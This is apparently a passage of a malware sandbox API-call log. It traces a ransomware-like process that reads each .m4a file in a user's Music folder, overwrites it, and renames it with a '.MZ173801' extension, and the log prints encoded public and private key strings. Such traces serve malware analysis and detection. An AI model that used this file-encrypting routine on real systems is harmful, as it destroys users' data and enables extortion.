wobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250e56c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.947] GetCurrentThreadId () returned 0xab4 [0158.947] GetCurrentThreadId () returned 0xab4 [0158.947] GetCurrentThreadId () returned 0xab4 [0158.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\fWrYbFvKgXjYGT.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\fwrybfvkgxjygt.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.947] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0158.947] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.947] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x18a64 [0158.947] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.948] ReadFile (in: hFile=0x27c, lpBuffer=0x2516370, nNumberOfBytesToRead=0x18a64, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x2516370*, lpNumberOfBytesRead=0x19f1b4*=0x18a64, lpOverlapped=0x0) returned 1 [0158.949] CloseHandle (hObject=0x27c) returned 1 [0158.951] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x30f0000 [0158.962] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\fWrYbFvKgXjYGT.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\fwrybfvkgxjygt.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.963] WriteFile (in: hFile=0x27c, lpBuffer=0x25303a0*, nNumberOfBytesToWrite=0x18a64, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x25303a0*, lpNumberOfBytesWritten=0x19f1c0*=0x18a64, lpOverlapped=0x0) returned 1 [0158.966] CloseHandle (hObject=0x27c) returned 1 [0158.969] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\fWrYbFvKgXjYGT.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\fwrybfvkgxjygt.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\fWrYbFvKgXjYGT.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\fwrybfvkgxjygt.m4a.mz173801")) returned 1 [0158.970] GetCurrentThreadId () returned 0xab4 [0158.970] GetCurrentThreadId () returned 0xab4 [0158.970] GetCurrentThreadId () returned 0xab4 [0158.970] GetCurrentThreadId () returned 0xab4 [0158.970] GetCurrentThreadId () returned 0xab4 [0158.970] GetCurrentThreadId () returned 0xab4 [0158.970] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762b6fc0, ftCreationTime.dwHighDateTime=0x1d5eac6, ftLastAccessTime.dwLowDateTime=0xb0c317f0, ftLastAccessTime.dwHighDateTime=0x1d5eeb3, ftLastWriteTime.dwLowDateTime=0xb0c317f0, ftLastWriteTime.dwHighDateTime=0x1d5eeb3, nFileSizeHigh=0x0, nFileSizeLow=0x17485, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="QRroD6XCz-BrMFrtkIV.m4a", cAlternateFileName="QRROD6~1.M4A")) returned 1 [0158.970] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.970] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.970] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\QRroD6XCz-BrMFrtkIV.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\qrrod6xcz-brmfrtkiv.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762b6fc0, ftCreationTime.dwHighDateTime=0x1d5eac6, ftLastAccessTime.dwLowDateTime=0xb0c317f0, ftLastAccessTime.dwHighDateTime=0x1d5eeb3, ftLastWriteTime.dwLowDateTime=0xb0c317f0, ftLastWriteTime.dwHighDateTime=0x1d5eeb3, nFileSizeHigh=0x0, nFileSizeLow=0x17485)) returned 1 [0158.970] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\QRroD6XCz-BrMFrtkIV.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\qrrod6xcz-brmfrtkiv.m4a")) returned 0x20 [0158.970] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\QRroD6XCz-BrMFrtkIV.m4a", dwFileAttributes=0x80) returned 1 [0158.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x32092ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.973] GetCurrentThreadId () returned 0xab4 [0158.973] GetCurrentThreadId () returned 0xab4 [0158.973] GetCurrentThreadId () returned 0xab4 [0158.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x321a34c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.974] GetCurrentThreadId () returned 0xab4 [0158.974] GetCurrentThreadId () returned 0xab4 [0158.974] GetCurrentThreadId () returned 0xab4 [0158.974] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\QRroD6XCz-BrMFrtkIV.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\qrrod6xcz-brmfrtkiv.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.974] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0158.974] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.974] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x17485 [0158.974] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.974] ReadFile (in: hFile=0x27c, lpBuffer=0x24def50, nNumberOfBytesToRead=0x17485, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x24def50*, lpNumberOfBytesRead=0x19f1b4*=0x17485, lpOverlapped=0x0) returned 1 [0158.976] CloseHandle (hObject=0x27c) returned 1 [0158.977] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\QRroD6XCz-BrMFrtkIV.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\qrrod6xcz-brmfrtkiv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.979] WriteFile (in: hFile=0x27c, lpBuffer=0x24f6f80*, nNumberOfBytesToWrite=0x17485, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x24f6f80*, lpNumberOfBytesWritten=0x19f1c0*=0x17485, lpOverlapped=0x0) returned 1 [0158.981] 